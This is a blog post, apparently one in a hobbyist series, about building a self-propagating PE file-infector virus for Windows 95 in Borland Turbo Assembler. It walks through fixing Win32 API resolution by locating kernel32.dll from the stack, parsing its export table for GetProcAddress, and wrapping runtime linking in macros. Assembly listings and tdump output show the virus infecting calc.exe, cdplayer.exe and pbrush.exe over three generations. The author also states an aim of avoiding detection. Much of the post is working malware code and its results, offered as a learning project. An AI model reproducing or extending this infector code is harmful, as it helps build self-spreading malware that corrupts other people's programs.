Welcome back! If this is your first visit to VeXation you may want to start by reading about the project, the development environment, the work in progress PE infector virus, or the previous post about delta offsets.
At the end of the last post I completed
pijector, an updated version of
pijector is a PE executable file infector virus that can add its code to
.exe files found in the same directory by adding a new section to the infected target. The injected code is self-contained and position independent.
There are two big shortcomings with
pijector that prevent it from being a functional virus. Recall that in generation 1+:
- The way the virus code uses Win32 API functions will not work - a layer of indirection was broken and the first API function call will crash.
- The original entrypoint of the infected program is never called. The host program is effectively broken by the infection.
Today I’ll describe how I worked through solving the Win32 API problems. With that out of the way I’ll be in a good position to describe how I handled the original entrypoint problem in a future post.
Let’s jump right in!
Understanding the problem
To understand why the Win32 API function invocations in the
pijector virus code were broken I started by comparing the execution of generation 0 and generation 1 in a debugger. By carefully stepping through the first win32 function call in the virus code in both generations and comparing the results I was able to build a picture of the problem. (If you already feel comfortable with this you might want to jump ahead).
I started by running the generation 0
td32 and switching to the CPU view.
The first Win32 API function the
pijector virus code uses is
FindFirstFileA exported from
In the source code the
call looks like:
call FindFirstFileA, eax, ebx
In the disassembly view it looks like:
push ebx push eax call PIJECTOR.0040165C
I was expecting that the call target would be a memory address somewhere in the
kernel32.dll address space but the disassembly view shows a target inside of
pijector’s address space:
PIJECTOR.0040165C. Already the debugger is challenging my assumptions!
Seeing a call to an unknown address the first question I have is “what code is at
0x0040165C”? One way to check that in
td32 is to “follow” the
call by right clicking the line and choosing “Follow”.
So the call takes the debugger to a
jmp instruction to the address specified at
0x00403060. Choosing “Data” in the
td32 menu followed by “Inspect” pops up a window that I used to quickly peek at what address the
jmp will go to before following it.
 as the expression (just like in the disassembly) shows the
dword hex value:
That looks more like what I was expecting initially: an address in
kernel32.dll. Following the
jmp  instruction confirms the debugger does end up in the
kernel32.dll address space.
Now the disassembly shows:
push BFF77A18 jmp KERNEL32.BFF93BD3
Very interesting! It’s already pretty clear that there is some indirection between the virus code’s
calls to Win32 APIs and how control eventually ends up in the
kernel32.dll address space.
jmp  instruction is interesting because the
pijector shows that
0x00403060 is in the
Object table: # Name VirtSize RVA PhysSize Phys off Flags -- -------- -------- -------- -------- -------- -------- 01 CODE 00001000 00001000 00000800 00000600 60000020 [CER] 02 DATA 00001000 00002000 00000000 00000E00 C0000040 [IRW] 03 .idata 00001000 00003000 00000200 00000E00 C0000040 [IRW] 04 .reloc 00001000 00004000 00000200 00001000 50000040 [ISR]
I could tell this quickly because subtracting the base address of
0x00400000) from the address in the
jmp reference (
0x00003060 is larger than
0x00003000 (which is the
RVA of the
.idata section) and smaller than
0x00004000 (which is the
RVA of the
.reloc section) the pointer that’s used for the
jmp target must be in
push BFF77A18 instruction that
jmp  brings execution to is interesting when matched up to a
C:\windows\sytem\kernel32.dll. (Isn’t it handy that
tdump works with
kernel32.dll’s exports the
FindFirstFileA function appears like so:
0249 00007a18 FindFirstFileA
It has ordinal number 249 and the RVA
0x00007a18. Adding the
kernel32.dll base address
0xBFF70000 (more on finding that later) to the
FindFirstFileA RVA gives
0xBFF77A18 - the argument from the
What does it all mean? In summary:
call FindFirstFileAin generation 0 doesn’t immediately call into
- Instead, it calls a local address that
jmps to a memory address specified in a pointer in the
- Finally, the
jmptakes execution into
kernel32.dllwhere the exported
FindFirstFileAfunction address gets pushed.
(note: Some of the above is specific to
tlink32 but in general it works similarly for other assemblers/linkers).
Why so much indirection? One reason is that it lets the operating system loader populate the
.idata section with pointers to imported
kernel32.dll functions without having to update each individual call site in the code section(s).
Now that I had seen how the API function invocation works in generation 0 it was time to turn to the generation 1 code that crashes. Ignoring any other resources it’s possible to start to see the problem based on what’s known from stepping through generation 0.
The indirection I observed relied on pointers in an
.idata section but the virus code only creates one new
.ireloc section in the target. Nothing carries forward or corrects for the missing
.idata pointers. I used the same process of following an API call in
td32 with the generation 1
calc.exe to verify that idea.
Loading the infected generation 1
td32 I saw the
call FindFirstFileA Win32 API function call in the virus code a few instructions from the top, after the delta offset calculation. Similar to the Generation 0 disassembly the function call is a
call to a memory address inside of
calc.exe’s address space.
In generation 0 the disassembly was:
In generation 1 the disassembly is:
The difference in address (
0x0041365C) is explained by the location of the code. In both cases the
call’s relative target was
0x0000065C but the location of the
call itself differed.
In generation 0 the executable’s base address was
0x00400000 and the
CODE section’s RVA was
0x00001000. If I add the base address, the section RVA, and the relative target I get the generation 0 call target:
In generation 1 the executable’s base address was still
0x00400000 but the
.ireloc section that the
call instruction is in has an RVA of
0x00013000. If I add the base address, the section RVA, and the relative target again I get the generation 1 call target:
So far execution has looked the same. Moving on to following the
call will answer the question “What code is at
The disassembly shows a
jmp instruction and its target (
[CALC.00403060]) looks the same as in generation 0. So far so good.
Using the data inspector window again the address at
 for the
jmp target can be checked:
This time it shows a DWORD with the hex value:
This address looks totally wrong and it isn’t the same target that Generation 0 jumped to. A smoking gun!
Letting the debugger follow the
jmp [CALC.00403060] instruction sends it to la-la land.
jmp causes an access violation and
calc.exe crashes shortly after.
What to do?
It’s clear the indirection used by generation 0 is a problem in generation 1+. The target of the
jmp in the indirected
kernel32.dll API call is read from an address that only made sense in generation 0. Similar to the problem of variable references across multiple sections that I tacked in the delta offsets post the easiest solution is one of simplification: stop using the system loader to resolve
kernel32.dll function references and stop relying on pointers in the
The earliest win32 viruses avoided the system loader by hard-coding the addresses of the exported DLL functions they used. Imagine if instead of using
call FindFirstFileA the
pijector code instead used
call 0xBFF77A18. As long as the
kernel32.dll export for
FindFirstFileA was always at RVA
kernel32.dll was always loaded at
0xBFF70000 this would be smooth sailing. Of course in practice all of these things change. Even differences as inconsequential seeming as the configured system locale can result in breaking hard-coded addresses.
Another way to approach this problem (and the route I chose) is to have the virus code act like its own little linker/loader and find the addresses of the DLL functions required at runtime. This turns out to be a fun way to get some hands on experience playing with concepts from dynamic linking and operating system loaders.
In Windows dynamic linking is the domain of Dynamic Link Libraries (.dlls). The best part is that DLLs are implemented as PE executables! Having already written x86 ASM for manipulating PE metadata it’s straight-forward to get right into working with the
kernel32 DLL. That’s also the reason that the trusty
tdump tool has no problem with DLLs.
There’s one other handy Windows trick that the virus code can use to do its runtime linking of external DLL functions:
kernel32.GetProcAddress. This is an exported function from
kernel32.dll that finds the address of any exported DLL function given its name and the DLL’s base address.
GetProcAddress function presents a nice short-cut. All the virus has to do is somehow find
kernel32.dll and the address of the
GetProcAddress function and from there it’s easy to find any other required API addresses in a way that won’t rely on the
.idata section or any hard-coded offsets.
Exploring the solution
Since the task of finding win32 API function addresses from
kernel32.dll at runtime is fairly self-contained I decided to start by experimenting with a stand-alone program separate from the PE infector virus code. Once I had a good solution I integrated it back into the virus code.
I decided to call the standalone program
apifind since that’s what it was going to do. At a high level the
- Finds the
kernel32.dll’s base address
- Finds the index of
- Uses the index to find the
- Uses the ordinal of
GetProcAddressto find the export RVA in
- Uses the discovered RVA of
GetProcAddressto find other required APIs (e.g.
The complete assembly code for
apifind is available in the VeXation Github repo.
The first thing
apifind needs to do is find the base address where
kernel32.dll is loaded.
If you’re familiar with more modern (e.g. Windows 2000/NT+) malware you might know of a trick for this based on chasing pointers from the Process Environment Block (PEB) to a list of loaded modules. On Windows 2000/NT/XP
kernel32.dll’s location in the module list was predictable and so offered a reliable way to find the base address dynamically. Since I’m targeting Windows 95 it’s totally not applicable and another approach needs to be taken.
The “trick” I used instead is an even older one. The first reference I saw was in 29A issue 04 from 1999 and an article by “LethalMind” called “RETRIEVING API’S ADRESSES”. I suspect the trick predates this article as well. (Can you even call it a “trick”? On some level it’s just “The Way Things Work”).
The core idea is to take advantage of the fact that it’s
kernel32.dll that calls every program’s entrypoint when it’s first started by the operating system. More specifically it’s the
CreateProcess function that calls the program’s entrypoint. Since the virus code replaces the infected program’s original entrypoint I know that at the start of the virus code’s execution the return address on the top of the stack will be pointing back into
@@findkernel32: ; Put the dword value from the top of the stack into esi. This is the return ; address for the kernel32.CreateProcess function call one frame above us and ; points somewhere in kernel32.dll. mov esi, dword ptr [esp]
kernel32.dll is a DLL and DLLs are portable executables I know what the start of
kernel32.dll will look like: It should have a DOS header with the magic
MZ bytes. Further, I know it will be section aligned in memory. All of that PE knowledge from previous posts keeps coming in handy!
Using the return address from the stack the virus code can search backwards by the size of a section, looking for the DOS header magic bytes. When it finds a section aligned address that has the expected header it will be the base address of
; We know the DLL is section aligned so clear out the lower byte of ESI to ; begin the search at the section start. and esi, 0FFFF0000h @@findpe: ; If ESI points at the value 'MZ' it indicates the section contains ; a PE executable and we know it's the base addr of kernel32.dll cmp word ptr (IMAGE_DOS_HEADER [esi]).Magic, IMAGE_DOS_SIGNATURE je @@findgetprocaddr ; Otherwise move back by the section alignment and try checking ; for the DOS header magic bytes again. sub esi, PE_SECTION_ALIGNMENT jmp @@findpe @@findgetprocaddr: ; If execution gets here we found the kernel base address in ESI. Woohoo
One disadvantage of this technique is that it only works if the virus code is executed before the host program code. If the real program is run first then the state of the stack will be unpredictable. I might have to revisit this strategy in the future if I mess around with more sophisticated entrypoint obfuscation but for now it will work reliably.
Knowing the base address of where
kernel32.dll is loaded lets me move on to
apifind’s next challenge: finding the
GetProcAddress function export in
The PE format is responsible for describing how a DLL exports a function for consumption by another program. The “Peering inside PE” article’s section on “PE File Exports” was an invaluable resource for understanding PE exports.
kernel32.dll has an
IMAGE_EXPORT_DIRECTORY structure that is predictably located (it’s always the first data directory after the section table of the PE structure). Inside of the
IMAGE_EXPORT_DIRECTORY structure are pointers to three arrays:
AddressOfFunctions- which holds pointers to the RVA of each exported DLL function.
AddressOfNames- which holds pointers to the null terminated name of each exported DLL function.
AddressOfNameOrdinals- which holds the ordinal (basically an ID number) of each exported DLL function.
All three arrays have the same number of entries and can be accessed in parallel. That is, if I can find the index of a specific function name in
AddressOfNames I can use that index to find the ordinal in
AddressOfNameOrdinals and then the function pointer in
AddressOfFunctions using the ordinal.
The x86 assembly that accomplishes the above is a little bit gnarly but I did my best to comment it thoroughly. At a high level the code:
- Finds the
- Loops through
AddressOfNamesto find the entry matching
- Uses the matching offset in
AddressOfNamesto find the ordinal for
- Uses the ordinal for
GetProcAddressto find the memory address of the exported function in
Once the address of the
GetProcAddress function from
kernel32.dll is known the fun can really begin.
Link it yourself
The virus code from
pijector uses a handful of
kernel32.dll functions (
CreateFileA, etc). Using
GetProcAddress makes for an easy way to find the address of each without needing to do as much work spelunking the
kernel32.dll export table.
To find the address of
apifind.asm code uses the discovered
GetProcAddress address (held in a var
; Put the kernel32.dll base address in ebx mov ebx, [kernel32Base] ; Put the offset of the null terminated string "FindFirstFileA\0" into ecx mov ecx, offset szFindFirstFileA ; Invoke GetProcAddress(ebx, ecx) by putting the GetProcAddress function's ; address in eax and calling it. mov eax, [GetProcAddress] call (type procGetProcAddress) PTR eax, ebx, ecx ; If the return was zero there was an error or eax, eax jz @@exit ; Otherwise save the discovered function address for FindFirstFileA in a var mov [FindFirstFileA], eax
For every function the virus wants to “link” it needs two things:
- The name of the API in a null terminated string (e.g.
- A four byte var to hold the function pointer (e.g.
I chose the most naive solution for the first part and included the literal strings in the virus code. That’s an obvious tell for AV since the virus code will now have function name strings like
"FindFirstFileA\0" embedded in each infected file that aren’t present in the file’s PE imports. There are lots of various tricks for working around this but for now I’m ignoring AV “stealth”.
One of the other challenges I encountered was finding a way to use raw function pointers with
TASM while still having it handle the
stdcall calling convention and argument checking. The solution to this was adding explicit
PROCDESC types to reference for each
call of a raw pointer.
You might notice that weird
call syntax in the fragment above. It relies on a
PROCDESC. In brief
PROCDESC is a bit of
TASM syntax that lets me give the assembler a description of the function I’m calling so it can use the correct calling convention and check the arguments. For
PROCDESC looks like:
procGetProcAddress PROCDESC stdcall baseAddr:DWORD,name:DWORD
It indicates that the
stdcall calling convention should be used and there are two
DWORD arguments: the base address of a DLL and a pointer to the name of the exported function to lookup.
apifind.asm code uses a similar
PROCDESC to invoke the
kernel32.FindFirstFileA function by the address found with
procFindFirstFileA PROCDESC stdcall fileName:DWORD,findData:DWORD <snipped> @@tryAPI: ; eax == lpFileName argument == "*.exe\0" mov eax, offset findFilter ; ebx == lpFindFileData argument mov ebx, offset findData ; edx == resolved address of FindFirstFileA in kernel32.dll mov edx, [FindFirstFileA] ; Invoke FindFirstFileA( eax, ebx ) by calling edx call (type procFindFirstFileA) PTR edx, eax, ebx ; If we got an invalid handle from FindFirstFileA that means there were ; no EXEs in the directory. cmp eax, INVALID_HANDLE_VALUE je @@exit ; Otherwise an exe was found and the handle should be saved mov [findHandle], eax
End-to-end this is certainly more verbose than the simple
call <api> that normal programs can get away with but virus code is “special” ;-D
Tackling the clunkyness was my next task. I decided it made sense to write some quick macros that would make it easier to find required API addresses and invoke them. Borland Turbo Assembler’s Macro language is pretty powerful and I was able to get decent results quickly, even as a complete assembly language programming novice.
I created four macros, each addressing one of the four parts involved in the process of using an exported DLL function resolved by the virus at runtime:
- Making a name variable and a pointer variable for each API.
- Describing the API procedure and its arguments.
- Populating the pointer variable by finding the name.
- Invoking the described procedure using the pointer.
The macro I wrote for declaring a name variable and a pointer variable for each API is called
; REQUIRED_API is a macro that defines two vars: ; 1. a zero terminated API name ; 2. a pointer to the API function ; The pointer is populated at runtime by finding the ; API name in kernel32.dll using LINK_API ; ; e.g. ; ; REQUIRED_API ExitProcess ; ; would result in: ; ; szExitProcess DB "ExitProcess", 0 ; ExitProcess DD 0 ; REQUIRED_API MACRO var:REQ ;; pointer to a null terminated string with the API name sz&var DB "&var",0 ;; pointer to the API function &var DD 0 ENDM
The macro I wrote for generating a
PROCDESC for each API is called
; DESC_RUNTIME_API is a macro that creates a PROCDESC prefixed ; with "proc" for a given proc name. It's described as having the ; given arguments and using stdcall convention. ; ; e.g. ; ; DESC_RUNTIME_API GetProcAddress,<baseAddr:DWORD,szName:DWORD> ; ; would result in: ; ; procGetProcAddress PROCDESC stdcall baseAddr:DWORD,szName:DWORD ; ; NOTE(@cpu): Don't forget to use <> around the procedure's arguments ; or they'll be treated as separate arguments to the macro ; instead of one argument to the macro describing all of the ; arguments for the procedure's PROCDESC. ; DESC_RUNTIME_API MACRO name:REQ,args proc&name PROCDESC stdcall &args ENDM
The macro I wrote to find the
kernel32.dll function address for a
REQUIRED_API is called
; LINK_API finds the given REQUIRED_API in kernel32.dll by its sz pointer ; using GetProcAddress. The API address is saved in the REQUIRED_API ; function pointer for use with CALL_RUNTIME_API. A variable called ; kernel32Base is expected to hold the kernel32.dll base address LINK_API MACRO var:REQ ; Add the kernel32.dll base address mov ebx, [kernel32Base] ; Put the offset of the null terminated string with the ; required API name into ecx mov ecx, offset sz&var ; Invoke GetProcAddress( kernel32.dll, sz&var ) CALL_RUNTIME_API GetProcAddress, <ebx, ecx>, eax ; If the return was zero there was an error or eax, eax jz @@exit ; Otherwise save the function address into the pointer var mov [&var], eax ENDM
The last macro is the one used to invoke functions previously described with
DESC_RUNTIME_API and declared with
LINK_API macro uses
CALL_RUNTIME_API to call
; CALL_RUNTIME_API is a macro that calls a given API previously setup ; with REQUIRED_API, DESC_RUNTIME_API and LINK_API. The given reg will ; be used as a scratch register to load the address of the API to call. ; If none is provided, edx is used. ; ; e.g. ; ; CALL_RUNTIME_API GetProcAddress, <ebx,ecx>, eax ; ; would result in: ; ; The address of GetProcAddress being put into eax, and called with the ; arguments ebx and ecx. ; CALL_RUNTIME_API MACRO name:REQ, args, reg:=<edx> mov ®, [&name] call (type proc&name) PTR ®, &args ENDM
apifind2 I have an effective way to find
kernel32.dll and its exported functions at runtime without hard-coding anything. The next step is to take this code and integrate it back into the
pijector virus code.
For this I created a project called
apisafejector. Like the other projects so far its code is available in the VeXation repo.
I was able to use the code/macros from
apisafejector as-is with one small exception: all of the variable references needed to be adjusted to use the delta offset.
For each of the Win32 APIs used by
apisafejector code needed:
REQUIRED_APIline. See the bottom of
LINK_APIline. See the
After these three pieces were in place I updated each of the existing
call <win32 api function>, <args> instructions to use
CALL_RUNTIME_API <win32 api function>, <args> instead.
A virus at last!
It’s finally time to see if the virus code can propagate itself beyond the first generation. To test the updated
apisafejector virus I started by infecting
calc.exe by using the
Makefile’s run target with a clean build (without debug symbols):
make clean make make run
td32 (remember it’s a necessary hack to run the generation 0 executable this way or it will crash writing to a read-only section). Hitting
F9 lets it complete its work infecting the only other
.exe in the directory that can be opened for writing,
apisafejector.exe process terminates normally once it was complete.
calc.exe was infected by checking the
tdump calc.exe output to see that the entrypoint was updated and that there was a new
.ireloc section added.
tdump calc.exe showed:
Entry RVA 0000534E Object table: # Name VirtSize RVA PhysSize Phys off Flags -- -------- -------- -------- -------- -------- -------- 01 .text 000096B0 00001000 00009800 00000400 60000020 [CER] 02 .bss 0000094C 0000B000 00000000 00000000 C0000080 [URW] 03 .data 00001700 0000C000 00001800 00009C00 C0000040 [IRW] 04 .idata 00000B64 0000E000 00000C00 0000B400 40000040 [IR] 05 .rsrc 000015CC 0000F000 00001600 0000C000 40000040 [IR] 06 .reloc 00001040 00011000 00001200 0000D600 42000040 [IDR]
Entry RVA 00013000 Object table: # Name VirtSize RVA PhysSize Phys off Flags -- -------- -------- -------- -------- -------- -------- 01 .text 000096B0 00001000 00009800 00000400 60000020 [CER] 02 .bss 0000094C 0000B000 00000000 00000000 C0000080 [URW] 03 .data 00001700 0000C000 00001800 00009C00 C0000040 [IRW] 04 .idata 00000B64 0000E000 00000C00 0000B400 40000040 [IR] 05 .rsrc 000015CC 0000F000 00001600 0000C000 40000040 [IR] 06 .reloc 00001040 00011000 00001200 0000D600 42000040 [IDR] 07 .ireloc 00001000 00013000 00000A00 0000E800 E0000020 [CERW]
Since the virus only infects
*.exe files in the same directory it’s easy to make a little test lab to see if the first generation
calc.exe infection is working. I simply made a new directory, copied in the infected
calc.exe and then copied in a clean
cdplayer.exe from the Windows directory.
mkdir test cd test copy ..\calc.exe copy c:\windows\cdplayer.exe
calc.exe in this directory appears to do nothing: since the virus code doesn’t call the original
calc.exe entrypoint yet the program immediately exits after infecting
cdplayer.exe and without showing any actual calculator GUI.
tdump output from
cdplayer.exe shows that while it seemed like
calc.exe exited without doing anything the infection did work! The entrypoint of
cdplayer.exe was changed and a new
.ireloc section was added. The generation 1
calc.exe managed to successfully create a generation 2 infection in
Before running the infected
tdump cdplayer.exe showed:
Entry RVA 0000DE00 Object table: # Name VirtSize RVA PhysSize Phys off Flags -- -------- -------- -------- -------- -------- -------- 01 .text 0000CFC0 00001000 0000D000 00000400 60000020 [CER] 02 .sdata 00000004 0000E000 00000200 0000D400 D0000040 [ISRW] 03 .data 00000C10 0000F000 00000E00 0000D600 C0000040 [IRW] 04 .idata 0000135C 00010000 00001400 0000E400 40000040 [IR] 05 .CRT 00000014 00012000 00000200 0000F800 C0000040 [IRW] 06 .rsrc 00004618 00013000 00004800 0000FA00 40000040 [IR] 07 .reloc 000014F4 00018000 00001600 00014200 42000040 [IDR]
After it showed:
Entry RVA 0001A000 Object table: # Name VirtSize RVA PhysSize Phys off Flags -- -------- -------- -------- -------- -------- -------- 01 .text 0000CFC0 00001000 0000D000 00000400 60000020 [CER] 02 .sdata 00000004 0000E000 00000200 0000D400 D0000040 [ISRW] 03 .data 00000C10 0000F000 00000E00 0000D600 C0000040 [IRW] 04 .idata 0000135C 00010000 00001400 0000E400 40000040 [IR] 05 .CRT 00000014 00012000 00000200 0000F800 C0000040 [IRW] 06 .rsrc 00004618 00013000 00004800 0000FA00 40000040 [IR] 07 .reloc 000014F4 00018000 00001600 00014200 42000040 [IDR] 08 .ireloc 00001000 0001A000 00000A00 00015800 E0000020 [CERW]
To ensure this wasn’t a fluke I tried making one more test directory to see if the generation 2 infection in
cdplayer.exe could propagate.
mkdir test2 cd test2 copy ..\cdplayer.exe copy c:\windows\pbrush.exe
Running the infected
cdplayer.exe gave the same results as
calc.exe. The program exited immediately and the
tdump output for the
pbrush.exe program shows the tell-tale signs of infection. Generation 2 successfully propagated to generation 3 in
tdump pbrush.exe showed:
Entry RVA 0000100C Object table: # Name VirtSize RVA PhysSize Phys off Flags -- -------- -------- -------- -------- -------- -------- 01 .text 000000AB 00001000 00000200 00000400 60000020 [CER] 02 .idata 000000E4 00002000 00000200 00000600 40000040 [IR] 03 .rsrc 0000071C 00003000 00000800 00000800 40000040 [IR] 04 .reloc 00000034 00004000 00000200 00001000 42000040 [IDR]
After it showed:
Entry RVA 00005000 Object table: # Name VirtSize RVA PhysSize Phys off Flags -- -------- -------- -------- -------- -------- -------- 01 .text 000000AB 00001000 00000200 00000400 60000020 [CER] 02 .idata 000000E4 00002000 00000200 00000600 40000040 [IR] 03 .rsrc 0000071C 00003000 00000800 00000800 40000040 [IR] 04 .reloc 00000034 00004000 00000200 00001000 42000040 [IDR] 05 .ireloc 00001000 00005000 00000A00 00001200 E0000020 [CERW]
I have to admit I took particular joy in corrupting my favourite Windows utilities one by one.
apisafejector I’ve arrived at a from-scratch Borland Turbo Assembler PE infector virus that actually propagates itself. The last remaining challenge before a rough prototype of the core virus is complete is finding a way to invoke the infected program’s original code. If all of the infected programs appear to be broken then the virus certainly won’t evade detection for long.
I hope presenting my progress and general piece-wise development approach is interesting! I’ve only scratched the surface of what’s possible and implemented the most basic techniques to keep making forward progress. I’m excited to gradually improve on the skeleton established so far. If nothing else this project has emphasized for me the difference between knowing how to do something in theory and actually doing it in practice :-)
In general it seems like I manage ~one post a month so I hope to see you in May for the next VeXation installment. As always, I would love to hear feedback about this project. Feel free to drop me a line on twitter (@cpu) or by email (email@example.com).